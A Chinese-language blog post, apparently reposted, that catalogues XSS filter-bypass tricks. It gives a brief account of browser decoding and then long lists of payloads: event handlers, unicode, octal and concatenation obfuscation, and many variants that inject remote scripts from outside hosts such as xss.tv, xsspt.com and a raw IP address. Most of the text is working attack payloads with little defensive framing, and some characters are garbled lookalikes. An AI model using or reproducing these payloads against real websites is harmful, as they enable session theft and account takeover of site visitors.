【奇淫巧技】XSS绕过技巧
XSS記錄
1、首先是彈窗函數:
alert(1) prompt(1) confirm(1)eval()
2、然后是字符的編碼和瀏覽器的解析機制:
要講編碼繞過,首先我們要理解瀏覽器的解析過程,瀏覽器在解析HTML文檔時無論按照什么順序,主要有三個過程:HTML解析、JS解析和URL解析,每個解析器負責HTML文檔中各自對應部分的解析工作。
首先瀏覽器接收到一個HTML文檔時,會觸發HTML解析器對HTML文檔進行詞法解析,這一過程完成HTML解碼并創建DOM樹,接下來JavaScript解析器會介入對內聯腳本進行解析,這一過程完成JS的解碼工作,如果瀏覽器遇到需要URL的上下文環境,這時URL解析器也會介入完成URL的解碼工作,URL解析器的解碼順序會根據URL所在位置不同,可能在JavaScript解析器之前或之后解析。
三個解析過程所對應的字符編碼分別為:HTML解析 => HTML實體編碼 、JS解析 =>?Unicode編碼 、URL解析 =>URL編碼。
需要注意的是:
1、Unicode編碼無法轉換控制字符如【'】【"】【()】,僅僅會將這些當成普通字符,而不是控制字符,也就是說你無法在<script>標簽中利用Unicode編碼單雙引號來閉合引號。2、JavaScript偽協議除了HTML編碼之外不能進行其他編碼,這個單詞必須是完整的,因為瀏覽器最先解析HTML,之后javascript必須是完整的。
?
3、下面我們用實際例子來解釋一下以上所說的瀏覽器解析過程和字符編碼是怎么回事,以及今天的重點---XSS繞過。
....暫定
?
hidden屬性標簽
插入點在hidden前,新增一個type屬性覆蓋hidden: <input value='a' src=1 οnerrοr=alert(1) type="image" type="hidden">插入點在hidden后,shift+alt+accesskey: <input value='a' type="hidden" accesskey="x" οnclick=alert(1)>
?
彈窗驗證:
1、彈窗payload
<a href=javascript:alert`1`>click <button ‘ onclick=alert(1)//> <button onfocus=alert`122`> <object data=javascript:alert`1`> <body/onfocus=alert`9989`> <input/onfocus=alert`1`> <svg><script xlink:href=data:,alert(1) /> <iframe srcdoc=<svg/onload=alert(1)>> <svg/οnlοad=alert(1)> <x contenteditable onblur=alert(1)>lose focus! <i contenteditable onblur=alert(1)>lose focus!//contenteditable:使可編輯 <x oncontextmenu=alert(1)>right click this! <c oncontextmenu=alert(1)>鼠標右鍵點擊 <iframe src="	javascript:prompt(1)	"> <ScRipT 1>prompt(1)</ScRipT 123 <input/οnfοcus=ev\u0061l(\u0061lert(1))> <input/onfocus=\u0061lert(1)> <iframe/src="data:text/html;	base64	,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="> <details ontoggle=alert(1)> <Video><source onerror="javascript:alert(123)"> <iframe/src='data:text/html,<svg onload=alert(1)>'>[media=mp3,200,300]http://www.tudou.com/programs/view/a' οnlοad=alert(1) οnerrοr=alert(1)[/media] <img/src=1 onmouseout=alert`1`> <a href="#" onclick=alert(‘\170\163\163’)>test3</a> //可以成功執行 <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe <img src="x" onerror="alert(1)"> <form><button formaction=javascript:alert(1)>CLICKME <img src="1" onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>//必須要有雙引號,不然執行不了 <a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2//不能去掉雙引號 <a href=javascript:eval("alert('xss')")>2 //可以去掉雙引號 <a href="javascript:alert("xss")">2</a> <a href=javascript:alert(/xss/)>XSStest</a> <img src=9989 onerror="window['al\u0065rt'](111)"> <IMG SRC=x onerror="javascript:alert('XSS')"> <img src=9989 onerror=a=\u0061lert,a(1)>
<input/οninput=top['al\x65rt'](1)> <img src=9989 onerror=[1].find(alert)> <img src=x:alert(alt) onerror=eval(src) alt=0> //以下都是要把[]進行url編碼 <img src=9989 onerror=top%5B%2fal%2f.source%2b%2fert%2f.source%5D%281%29> //<img src=9989 onerror=top[/al/.source+/ert/.source](1)> <img src=9989 onerror=top%5B%22al%22%2b%22ert%22%5D%281%29> //<img src=9989 onerror=top["al"+"ert"](1)> <img src=9989 onerror=top%5B%27al%5C145rt%27%5D%281%29> //<img src=9989 onerror=top['al\145rt'](1)> <img src=9989 onerror=top%5B'al\x65rt'%5D(1)> //<img src=9989 onerror=top['al\x65rt'](1)> <img/src/οnerrοr=top[8680439..toString`30`]`1`>
top[8680439..toString`30`]
top[/al/.source+/ert/.source]
onError="%26#x61lert(1)"
<img/src='a'οnerrοr=[1].find(alert)>
<img/src='2'οnerrοr=top[8680439..toString(30)](1)>
<a/href=javascript:alert`1`>123</ a>
<img/src='2'οnerrοr=top[/al/.source+/ert/.source](1)>
<p/οncοpy=alert(1)> <div onscroll=alert`1`> <a href=javascript:confirm(1)>MM</a>
?
2、引入外部js,需要有jQuery庫
<html> <head> <script src="https://cdn.bootcss.com/jquery/3.4.1/jquery.js"></script> </head> <body><img/src=1 onerror=$.getScript("http://118.24.154.114/1.js");></body> </html>?
?
3、Unicode編碼繞過例子
<html> <head> </head> <body><div id="s"></div><script>var s="\u003cimg/src=1\u003e"; document.getElementById('s').innerHTML = s; </script></body> </html>以上代碼由于使用了innerHTML 方法,可以使用Unicode表面皿繞過檢測。
?
?4、利用巧用換行繞過url規則檢測:
<?php $url = filter_var($_GET['url'],FILTER_VALIDATE_URL); var_dump($url); $url = htmlspecialchars($url); var_dump($url); echo "<a href='$url'>Next slide</a>" ?>???
?
利用代碼:
<img/src=1 onmouseover=s=createElement('\163\143\162\151\160\164');body.appendChild(s);s.src="//xss.tv"><img src=1 οnerrοr="with(document)body.appendChild(createElement(String.fromCharCode(115,99,114,105,112,116))).src='\150\164\164\160\72\'"> JS 8進制
下面是一位大佬的文章,這里直接引用了,有空再整理。
https://bbs.ichunqiu.com/thread-31886-1-1.html 這里的連接字符,我研究出來一些payload,能夠script,document等危險字符過濾的情況下,不需要在任何編碼的情況下,去構造一個payload當document被過濾的情況下,又不能用編碼 +被過濾,又不能編碼 <svg/onload="[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})"><svg/onload="[1].find(function(){with(`docom%27|e|%27nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})"><svg/onload="[1].find(function(){with(`docom%27%2Be%2B%27nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})"><svg/onload="[1].find(function(){with(`docom'+e+'nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})"><svg/onload="[1].find(function(){with(`docom'-e-'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"><svg/onload="[1].find(function(){with(`docom'*e*'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"><svg/onload="[1].find(function(){with(`docom'/e/'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"><svg/onload="[1].find(function(){with(`docom'%e%'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"><svg/onload="[1].find(function(){with(`docom'^e^'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"><svg/onload="[1].find(function(){with(`docom'>e>'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"><svg/onload="[1].find(function(){with(`docom'<e<'nt`);;body.appendChild(createElement('\163\143\162\151\160\164')).src='http://xss.tv/XA'})"><script type="text/javascript"> var a = ''>=alert``<='';var a = ''+alert``+''; </script><keygen autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xsspt.com/JUvhKT">支持火狐 360, 谷歌失敗,過主機衛士就是下面這些連接符號輸出在script內字符串位置的情況 如果允許閉合字符串,直接閉合并寫入javascript即可,如: http://mhz.pw/game/xss/scriptstr.php?xss=%27|alert(1)|%27 http://t.mhz.pw/game/xss/scriptstr.php?xss='|alert(1)|' http://t.mhz.pw/game/xss/scriptstr.php?xss=%27%2Balert(1)%2B%27 http://t.mhz.pw/game/xss/scriptstr.php?xss='+alert(1)+' http://t.mhz.pw/game/xss/scriptstr.php?xss='-alert(1)-' http://t.mhz.pw/game/xss/scriptstr.php?xss='*alert(1)*' http://t.mhz.pw/game/xss/scriptstr.php?xss='/alert(1)/' http://t.mhz.pw/game/xss/scriptstr.php?xss='%alert(1)%' http://t.mhz.pw/game/xss/scriptstr.php?xss='^alert(1)^' http://t.mhz.pw/game/xss/scriptstr.php?xss='>alert(1)>' http://t.mhz.pw/game/xss/scriptstr.php?xss='<alert(1)<' http://t.mhz.pw/game/xss/scriptstr.php?xss='>=alert(1)>=' http://t.mhz.pw/game/xss/scriptstr.php?xss='<=alert(1)<=' http://t.mhz.pw/game/xss/scriptstr.php?xss='==alert(1)==' http://t.mhz.pw/game/xss/scriptstr.php?xss='===alert(1)===' http://t.mhz.pw/game/xss/scriptstr.php?xss='!=alert(1)!=' http://t.mhz.pw/game/xss/scriptstr.php?xss='!==alert(1)!==' http://t.mhz.pw/game/xss/scriptstr.php?xss='%26alert(1)%26' http://t.mhz.pw/game/xss/scriptstr.php?xss='&alert(1)&' http://t.mhz.pw/game/xss/scriptstr.php?xss='|alert(1)|' http://t.mhz.pw/game/xss/scriptstr.php?xss='||alert(1)||' http://t.mhz.pw/game/xss/scriptstr.php?xss='>=alert(1)<='<svg/onload="[1].find(function(){with(`docom'|e|'nt`);;body.appendChild(createElement('script')).src='http://xss.tv/XA'})"><svg/onload=[1].find(function(){with(/do/.source+/cument/.source)body.appendChild(createElement("script")).src="http://xss.tv/XA"})><svg/onload=[1].find(function(){with(/docomen/.source+/t/.source);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})><svg/onload=[1].find(function(){with(`/docomen/.source+/t/.source`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})><svg/onload=[1].find(function(){with(`/docomen/.1+/t/.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})>/字符/.1+/字符/.1 字符加上字符 //.1 + //.1 這些只是連接字符的方式而已 ,總結起來就是 document而已<svg/onload=[1].find(function(){with(`\docomen\.1+\t\.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> / 換成 \ 也可以<svg/onload=[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> 不要加號也可以<svg/onload=[1].find(function(){with(`=docomen=.1+=t=.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /換成=號也可以<svg/onload=[1].find(function(){with(`=docomen=.1=t=.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> 不要加號也可以<svg/onload=[1].find(function(){with(`^docomen^.1+^t^.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /換成^號也可以<svg/onload=[1].find(function(){with(`^docomen^.1^t^.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})><svg/onload=[1].find(function(){with(`|docomen|.1+|t|.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /換成|號也可以<svg/onload=[1].find(function(){with(`|docomen|.1|t|.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})><svg/onload=[1].find(function(){with(`&docomen&.1+&t&.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /換成&號也可以 <svg/onload=[1].find(function(){with(`&docomen&.1&t&.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})><svg/onload=[1].find(function(){with(`%26docomen%26.1+$26t%26.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /換成%26也行<svg/onload=[1].find(function(){with(`%26docomen%26.1$26t%26.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> 不要引號也行Body加上括號也行 <svg/onload=[1].find(function(){with(`docomen`);(body.appendChild(createElement('script'))).src='http://xss.tv/XA'})><body/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,115,115,46,102,98,105,115,98,46,99,111,109,47,48,71,73,103,62,60,47,115,99,114,105,112,116,62))> <svg/onload=[1].find(function(){with('docu'==='ment');body.appendChild(createElement("script")).src="http://xss.tv/XA"})>
?
?
笨鳥先飛早入林,笨人勤學早成材。轉載請注明出處: 撰寫人:fox-yu http://www.cnblogs.com/fox-yu/轉載于:https://www.cnblogs.com/fox-yu/p/8916497.html
總結
以上是生活随笔為你收集整理的【奇淫巧技】XSS绕过技巧的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: windows安装jenkins及ant
- 下一篇: 修改主机名 修改静态IP